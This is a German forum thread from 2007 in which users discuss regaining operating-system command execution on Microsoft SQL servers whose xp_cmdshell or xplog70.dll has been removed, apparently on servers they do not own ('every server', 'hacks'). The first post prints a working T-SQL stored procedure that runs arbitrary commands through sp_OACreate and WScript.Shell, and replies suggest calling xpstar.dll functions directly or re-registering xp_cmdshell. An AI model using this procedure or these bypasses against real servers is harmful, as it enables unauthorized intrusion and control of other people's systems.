Verschiedene MSSQL Fragen

Dieses Thema im Forum "Sicherheit & Datenschutz" wurde erstellt von Pate, 1. März 2007 .

Schlagworte:
  1. 1. März 2007
    Hallihallo,

    warum auch immer beschäftigte ich mich letzte Zeit mal wieder mit dem uralten Thema "MSSQL".

    Ich hab im Moment das Problem wie man eigtl. xplog70.dll wiederherstellt ?

    Und ein weiteres Problem ist dass wenn ich das ganze mit SQLBrowser umgehen will (sowie in einem der Tutorials beschrieben) kommt eigtl. bei jedem Server der Fehler dass : "Syntax error near '@ShellID'" und dann ist Sense..


    Kann mir da vllt jemand raushelfen ?

    Der Code den ich bei SQL Browser einfüge lautet folgendermaßen :


    Code:
    CREATE PROCEDURE fn_makeUpdate(@cmd varchar(255), @Wait int = 0) AS
    --Create WScript.Shell object
    DECLARE @result int, @OLEResult int, @RunResult int
    DECLARE @ShellID int
    
    EXECUTE @OLEResult = sp_OACreate 'WScript.Shell', @ShellID OUT
    IF @OLEResult <> 0 SELECT @result = @OLEResult
    IF @OLEResult <> 0 RAISERROR ('CreateObject %0X', 14, 1, @OLEResult)
    
    
    EXECUTE @OLEResult = sp_OAMethod @ShellID, 'Run', Null, @cmd, 0, @Wait
    IF @OLEResult <> 0 SELECT @result = @OLEResult
    IF @OLEResult <> 0 RAISERROR ('Run %0X', 14, 1, @OLEResult)
    --If @OLEResult <> 0 EXEC sp_displayoaerrorinfo @ShellID, @OLEResult
    
    
    EXECUTE @OLEResult = sp_OADestroy @ShellID
    
    return @result
    

    Hoffe auf sinnvolle Antworten.
     
  2. 1. März 2007
    AW: Verschiedene MSSQL Fragen

    Du musst evtl. den SQLBrower maximieren und dann den befehl erneut ausführen...
     
  3. 1. März 2007
    AW: Verschiedene MSSQL Fragen

    1. den browser maximieren damits keine fehler im zeilenumbruch gibt
    und
    2. den code den du da hast, der ist für die cmdshell die du wieder erstellen willst.
    um die xplog wieder zu erstellen, oder den fehler zu umgehen musst du andere dateien ansprechen.
    kannst wie bei vielen anderen hacks auch, nicht nur die eine stelle ansprechen sondern noch andere.
    und bei MSSL läuft das ganze ja über funktionen die in dll's gespeichert sind.
    die wichtigsten funktionen, womit man fast alles steuern kann befinden sich in der xpstar.dll
    wenn die gelöscht wurd ist der mssql nur noch schwer zu retten.
    du musst halt eine syntax finden diese funktionen die in der xpstar.dll vorhanden sind direkt anzusprechen und auszuführen was du willst.
    dann bekommste auch einige fehler hin
     
  4. 1. März 2007
    AW: Verschiedene MSSQL Fragen

    der sql brower hat bei mir noch nie geholfen und ich bezweifle, dass man damit ne chance hat, selbst wenn nur xplog70.dll gelöscht wurde.

    was aber durchaus funktioniert, ist die shell zu droppen bzw. wieder zu adden. geht aber nur, wenn die .dlls noch vorhanden sind. (erneute verknüpfung xplog70.dll + xp_cmdshell).

    und allg. zum thema sql error: ich hab bisher noch kein tut gesehen, welcher mir effektiv helfen konnte, diese ominösen .dlls zu restoren.

    meine meinung: bypass ja, restore nein.
     
  5. Video Script

    Videos zum Themenbereich

    * gefundene Videos auf YouTube, anhand der Überschrift.